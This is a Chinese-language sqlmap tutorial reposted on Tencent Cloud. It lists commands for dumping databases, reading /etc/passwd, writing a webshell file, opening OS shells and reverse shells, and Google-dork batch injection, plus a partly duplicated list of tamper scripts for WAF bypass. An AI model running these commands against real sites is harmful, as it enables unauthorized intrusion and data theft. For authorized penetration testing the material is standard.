专栏首页Khan安全团队​带你玩转系列之Sqlmap

​带你玩转系列之Sqlmap

正所谓Sqlmap玩得6,jianyu等你救

00x00 Sqlmap介绍

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的url的SQL注入漏洞内置很多绕过插件,支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

联合查询注入,可以使用union的情况下的注入;

堆查询注入,可以同时执行多条语句的执行时的注入。

官方下载地址:http://sqlmap.org

需要环境:https://www.python.org

00x01 SQLmap创建桌面快捷方式

桌面右键创建一个cmd快捷方式重新命名为SQLmap.exe,,点击属性模块,把起始位置改为SQLmap的绝对路径

运行程序,可通过--help获取参数帮助

00x02 Sqlmap入门参数

-p:指定测试参数,如sqlmap -u 192.168.0.1/?id=1 -pid

--dbms=mysql /oracle/ mssql:指定数据库

--delay 1:延时1秒进行注入(延迟注入)

-b: 获取banner

-g:批量从谷歌获取url进行批量注入 -g "inurl:jsp?id="

-r读取post包判断注入点 sqlmap -r C:/post.txt

-u 判断是否存在注入点 sqlmap -u 192.168.0.1/?id=1

--dbs 查询当前用户下的所有数据库 sqlmap -u 192.168.0.1/?id=1 --dbs

-tables 获取数据库中的表名 sqlmap -u 192.168.0.1/?id=1 -D sjk --tables

--colums 获取表名中的字段名 sqlmap -u 192.168.0.1/?id=1 -D sjk -T biao --colums

--dump获取字段的内容 sqlmap -u 192.168.0.1/?id=1 -D sjk -T biao -C user pass --dump

00x03 Sqlmap进阶参数

--level5:探测等级1-5级,会自动跑cookie,XFF等参数注入,一般推荐3级。

--is-dba:判断是否为dba权限

--sql-shell:直接运行sql语句

--os-cme/--os-shell:操作系统命令

--file-read:从数据库服务器中读取文件 --file-read="/etc/password"

--file-write: 写入操作 --sql-query="select "一句话" --file-write="ma.php"

--file-dest:写入绝对路径

---roles:列出数据库管理员

--union-check:是否支持union注入

--union-cols:union 查询表记录

--union-test:union语句测试

--union-use:采用union 注入

--proxy:添加代理 --proxy=127.0.0.1:1080

---threads:多线程

--user-agent:自定义user-agent

--referer=REFERER:HTTP referer头

--eval=EVALCODE:所使用HTTP参数污染

--hostname:主机名

--schema:枚举DBMS模式

--count:检索所有条目数

--search:搜索列,表或数据库名称

--reg-read: 阅读一个Windows注册表项值

--reg-add:增加一个Windows注册表项值数据

--reg-del:删除一个Windows注册表项值数据

--reg-key=REGKEY:Windows注册表键

--reg-value=REGVAL: Windows注册表键值

-- reg-data=REGDATA:Windows注册表的键值项数据

--reg-type=REGTYPE:Windows注册表键的值类型

--hex:使用十六进制数据检索功能

--output-dir=ODIR :自定义输出的目录路径

--check-waf:启发式检查WAF / IPS / IDS保护

--os-pwn:反弹shell

--random-agent:使用随机选定的User-Agent头

00x04 Tamper脚本使用

利用tamper脚本来绕过WAF

tapmer=0x2char               将每个编码后的字符转换为等价表达               tapmer=apostrophemask               单引号替换为Utf8字符               tapmer=apostrophenullencode               替换双引号为%00%27               tapmer=appendnullbyte               有效代码后添加%00               tapmer=base64encode               使用base64编码               tapmer=between               比较符替换为between               tapmer=bluecoat               空格替换为随机空白字符,等号替换为like               tapmer=chardoubleencode               双url编码               tapmer=charencode               将url编码               tapmer=               tapmer=0x2char               将每个编码后的字符转换为等价表达               tapmer=apostrophemask               单引号替换为Utf8字符               tapmer=apostrophenullencode               替换双引号为%00%27               tapmer=appendnullbyte               有效代码后添加%00               tapmer=base64encode               使用base64编码               tapmer=between               比较符替换为between               tapmer=bluecoat               空格替换为随机空白字符,等号替换为like               tapmer=chardoubleencode               双url编码               tapmer=charencode               将url编码               tapmer=charunicodeencode               使用unicode编码               tapmer=charunicodeescape               以指定的payload反向编码未编码的字符               tapmer=commalesslimit               改变limit语句的写法               tapmer=commalessmid               改变mid语句的写法               tapmer=commentbeforeparentheses               在括号前加内联注释               tapmer=concat2concatws               替换CONCAT为CONCAT_WS               tapmer=equaltolike               等号替换为like               tapmer=escapequotes               双引号替换为\\\\               tapmer=greatest               大于号替换为greatest               tapmer=halfversionedmorekeywords               在每个关键字前加注释               tapmer=htmlencode               html编码所有非字母和数字的字符               tapmer=ifnull2casewhenisnull               改变ifnull语句的写法               tapmer=ifnull2ifisnull               替换ifnull为if(isnull(A))               tapmer=informationschemacomment               标示符后添加注释               tapmer=least               替换大于号为least               tapmer=lowercase               全部替换为小写值               tapmer=modsecurityversioned               空格替换为查询版本的注释               tapmer=modsecurityzeroversioned               添加完整的查询版本的注释               tapmer=multiplespaces               添加多个空格               tapmer=nonrecursivereplacement               替换预定义的关键字               tapmer=overlongutf8               将所有字符转义为utf8               tapmer=overlongutf8more               以指定的payload转换所有字符               tapmer=percentage               每个字符前添加%               tapmer=plus2concat               将加号替换为concat函数               tapmer=plus2fnconcat               将加号替换为ODBC函数{fn               CONCAT()}               tapmer=randomcase               字符大小写随机替换               tapmer=randomcomments               /**/分割关键字               tapmer=securesphere               添加某字符串               tapmer=sp_password               追加sp_password字符串               tapmer=space2comment               空格替换为/**/               tapmer=space2dash               空格替换为–加随机字符               tapmer=space2hash               空格替换为#加随机字符               tapmer=space2morecomment               空格替换为/**_**/               tapmer=space2morehash               空格替换为#加随机字符及换行符               tapmer=space2mssqlblank               空格替换为其他空符号               tapmer=space2mssqlhash               空格替换为%23%0A               tapmer=space2mysqlblank               空格替换为其他空白符号               tapmer=space2mysqldash               空格替换为–%0A               tapmer=space2plus               空格替换为加号               tapmer=space2randomblank               空格替换为备选字符集中的随机字符               tapmer=symboliclogical               AND和OR替换为&&和||               tapmer=unionalltounion               union               all               select替换为union               select               tapmer=unmagicquotes               宽字符绕过GPC               tapmer=uppercase               全部替换为大写值               tapmer=varnish               添加HTTP头               tapmer=versionedkeywords               用注释封装每个非函数的关键字               tapmer=versionedmorekeywords               使用注释绕过               tapmer=xforwardedfor               添加伪造的HTTP头

更多sqlmap用法:https://github.com/sqlmapproject/sqlmap/wiki/Usage

手握日月摘星辰,安全路上永不止步。

- Khan攻防安全实验室

本文分享自微信公众号 - Khan安全团队(KhanCJSH),作者:Khan安全团队

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Xctf攻防世界-Misc基础题攻略

    攻防世界答题模块是一款提升个人信息安全水平的益智趣味答题,用户可任意选择题目类型进行答题。

    Aran
  • Hack the box_Wall

    大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Wall”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒...

    Aran
  • 端口漏洞全集

    web漏洞挖腻了?到客户现场找不到web漏洞?不然来试试各个端口中存在的漏洞吧。以下是本人在项目中整理的端口漏洞合计,可能不是很全欢迎各位大佬补充。

    Aran
  • 观点 | 对比梯度下降与进化策略,神经进化会成为深度学习的未来吗?

    机器之心
  • MySQL数据库4Python操作mysql、索引、慢查询日志

    pymysql是通过python操作mysql的模块,需要先安装,方法:pip install pymysql

    GH
  • 「 从0到1学习微服务SpringCloud 」05服务消费者Fegin

    Feign是一个声明式的伪Http客户端,它使得写Http客户端变得更简单。使用Feign,只需要创建一个接口并注解。Feign默认集成了Ribbon,并和Eu...

    KEN DO EVERTHING
  • 小程序上线一年半,母婴行业各家做的怎么样?

    说明:本表所提小程序指公司自己推出而非基于合作关联的。程序名称后括号数字为关联公众账号数量,“/”表示因平台未收录或已收录但无数据。(数据仅供参考)

    用户1745481
  • 最新专利:基于机器视觉的工业机器人安全系统,你造吗?

    视觉是机器人和自动化工业的使能技术。离开视觉,机器人也就只能是个不断做重复动作的呆子。这就是密歇根州Bloomfield Hills的机器视觉行业的软件和支持服...

    机器人网
  • 小程序上线一年半,母婴行业各家做的怎么样?

    说明:本表所提小程序指公司自己推出而非基于合作关联的。程序名称后括号数字为关联公众账号数量,“/”表示因平台未收录或已收录但无数据。(数据仅供参考)

    用户1745481
  • 《Java虚拟机原理图解》 1.2.3、Class文件中的常量池详解(下)

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://louluan.blog.c...

    亦山

扫码关注云+社区

领取腾讯云代金券